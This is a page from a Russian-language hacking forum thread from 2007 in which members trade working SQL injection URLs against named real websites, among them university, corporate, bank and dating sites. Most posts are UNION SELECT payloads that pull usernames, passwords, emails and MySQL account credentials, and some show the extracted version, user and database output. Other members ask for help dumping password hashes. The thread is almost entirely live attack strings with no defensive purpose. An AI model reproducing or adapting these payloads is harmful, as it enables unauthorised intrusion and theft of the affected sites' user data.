SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Dr.Frank

    Dr.Frank Elder - Старейшина

    Joined:
    31 Jul 2002
    Messages:
    301
    Likes Received:
    72
    Reputations:
    12
    http://www.davinciinstitute.com/page.php?ID=-120'+union+select+1,2,version(),concat_ws(0x3a,FName,LName,Email,LoginCount,ID,Password),5,6+from+Users+limit+0,1/*

    GameTrailer:
    http://www.gametrailers.com/gamepage.php?id=2606+union+select+1,2,user(),4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34/*
     
  2. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    175
    Likes Received:
    214
    Reputations:
    8
    Code:
    http://www.boredonasaturdaynight.co.uk/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/admin/*
    Code:
    http://www.drink-spots.com/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/admin/*
     
    #2802 _-Ramos-_, 3 Aug 2007
    Last edited: 3 Aug 2007
  3. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Code:
    http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,concat(,chat.userinfo.name,';',chat.userinfo.realname,';',chat.userinfo.email,';',chat.userinfo.city,';',chat.userinfo.country,';',chat.userinfo.url,';',chat.userinfo.icq_uin,';',dating.users.MPASS,';',dating.users.PASS,';',dating.users.IPREG),10,11+from+chat.userinfo+inner+join+dating.users+on+chat.userinfo.name=dating.users.NICK+limit+0,1/*&minrat=0&numofpage=13
    Более подробно [thread=46023]тут[/thread] :)
     
  4. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    Code:
    http://www.  edem.lg.ua/?catid=-50+union+select+1,2,3,4,version(),6+/*
    http://www.  edem.lg.ua/info.php?tid=-1609+union+select+1,2,3,4/*
    Code:
    http://www.sunmar.ru/index.php?act=text&name=emty'+union+select+1,2,version(),user(),database()/*
    version 5.0.27
    user sunmar@localhost
    database sunmar

    P.S.
    http://www.sunmar.ru/index.php?act=text&name=emty'+union+select+1,2,username,password,database()+from+users/* :) :)
     
    _________________________
    #2804 halkfild, 5 Aug 2007
    Last edited: 5 Aug 2007
    1 person likes this.
  5. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    http://www.med03.ru/nws/?nw=-624+union+select+1,2,3,4/*

    version 4.0.26-log
    database u16567
    user u16567@10.10.10.208
     
    _________________________
    1 person likes this.
  6. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Впервые от меня скуль. .EDU. (кстати почему так ценится эта .еду, до сих пор не пойму) То что не повтор проверял через поиск в теме.

    _http://www.sjfc.edu/Calendar/show_detail.asp?calendarname=Academic&view_date=7-August-2007'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('pbcattbl','pbcatcol','achievements','appText','calendar_academic'))--
    Ну и так далее, может кому интересно расколупать.

    З.Ы. Немного не в тему. Не пойму зачем нужна эта тема, кому интересно читать все эти скули... (я думал разве что тренироваться на них :))? И конечно интересует почему за все это дают плюсики? Извините за наивность но интересно.
     
    1 person likes this.
  7. •••™NO FEAR™•••

    •••™NO FEAR™••• Elder - Старейшина

    Joined:
    8 Aug 2005
    Messages:
    669
    Likes Received:
    426
    Reputations:
    335
    Code:
    http://s-ex.com.ua/news.php?id=-1+union+select+concat(database(),char(58),user(),char(58),version()),2,3/*
    Code:
    http://www.gamesector.org/review.php?id=-1+union+select+1,2,version(),4,5,6,7/*
     
    1 person likes this.
  8. mindw0rk

    mindw0rk Elder - Старейшина

    Joined:
    8 Jun 2007
    Messages:
    63
    Likes Received:
    50
    Reputations:
    1
    Code:
    http://zato.ru/chat/chat.php?uname=1&pwd=1&url=1&email=blablabla@sdfsdgs.com&Submit=1&rdbutton=1&nickcolor=1&rdbutton=1&bigu=1&color='
     
  9. •••™NO FEAR™•••

    •••™NO FEAR™••• Elder - Старейшина

    Joined:
    8 Aug 2005
    Messages:
    669
    Likes Received:
    426
    Reputations:
    335
    Code:
    http://board.gorod.kr.ua/index.php?id=-1+union+select+version(),2/*
    Там форум ипб, странно то, что хеш с солью нельзя вывести : (
     
    1 person likes this.
  10. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    Code:
    http://www.rusfinclub.ru/index.php?news_id=-1572+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version(!),0x73),0x73),4,5,6,7,8,9+from+users/*
    Code:
    http://ks-sport.ru/?page_id=-9+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version(),0x73),0x73),4,5/*
    http://www.msb-bank.ru/index.php?sid=4&did=-4+union+select+version(!)--
     
    1 person likes this.
  11. sharoff

    sharoff Member

    Joined:
    5 Aug 2007
    Messages:
    25
    Likes Received:
    6
    Reputations:
    0
    Version: 5.0.19-standard
    Кавычки не фильтруются
    лоад файл не пашет
     
  12. Dr.Frank

    Dr.Frank Elder - Старейшина

    Joined:
    31 Jul 2002
    Messages:
    301
    Likes Received:
    72
    Reputations:
    12
    Code:
    http://mobilnik.ua/board/?sort=cell%27+union+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.tables+limit+0,2/*
    Имена колонок не подобрал - поэтому нет вывода(видимо формат даты или еще какая хрень)

    Можт кто поможет? =)
     
    1 person likes this.
  13. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    175
    Likes Received:
    214
    Reputations:
    8
    Code:
    http://www.do4money.com/directory.php?ax=list&sub=7&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/FROM/**/admin/*
     
    1 person likes this.
  14. iRedX

    iRedX Elder - Старейшина

    Joined:
    18 Jun 2002
    Messages:
    117
    Likes Received:
    11
    Reputations:
    9
    Code:
    http://www.news.mc.duke.edu/news/article.php?id=69+union+select+1,2,3,4,5,concat(user,0x3a,password,0x3a,host),7,8+from+mysql.user/*
     
    2 people like this.
  15. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    http://www.microsoft.su/site.php?num=-666+union+select+1,2,CONCAT(user(),CHAR(32,58,32),version(),CHAR(32,58,32),database()),4,5,6,7,8,9,0,1,2--
     
    6 people like this.
  16. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    http://netscan.research.microsoft.com/AuthorMetrics.aspx?sDT=5/31/2007&sNG=soc.culture.usa'+and(1=1)--&sTP=10

    http://netscan.research.microsoft.com/AuthorMetrics.aspx?sDT=5/31/2007&sNG=soc.culture.usa'+order+by+25--&sTP=10

    UNION что-то не получается...
     
  17. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://ability.aol.com/ability/index.php?ID=118&catID=-7+union+select+1,2/*
     
  18. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://free-keywords.com/order/cart/index.php?maincat_id=-1+union+select+1/*
    Code:
    http://gregorypacks.com/prod.php?ID=-6+UNION+SELECT+1,2,username,userpass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52+from+users/*
    Code:
    http://www.atwebresults.com/scriptstore/cart/index.php?maincat_id=-1+union+select+VERSION()/*
     
    #2818 SWAT, 8 Aug 2007
    Last edited: 8 Aug 2007
  19. Barney

    Barney Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    78
    Likes Received:
    19
    Reputations:
    7
    http://www.hampshire.edu/cms/index.php?id=4650'+union+select+1,2,3,4,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*
    =\
     
    1 person likes this.
  20. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    339
    Likes Received:
    243
    Reputations:
    36
    http://p-pm.net/partners/?p=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*
    подобрал число колонок в таблице (13)
    пробовал дальше так как описано в мануалах - ничео не смог вытащить. мож у кого другого получится? (скинул в асю знакомый на сайт с и-нет заработком, а я решил на sql ошибки проверить)
     
    #2820 Calcutta, 9 Aug 2007
    Last edited: 9 Aug 2007
Loading...
Thread Status:
Not open for further replies.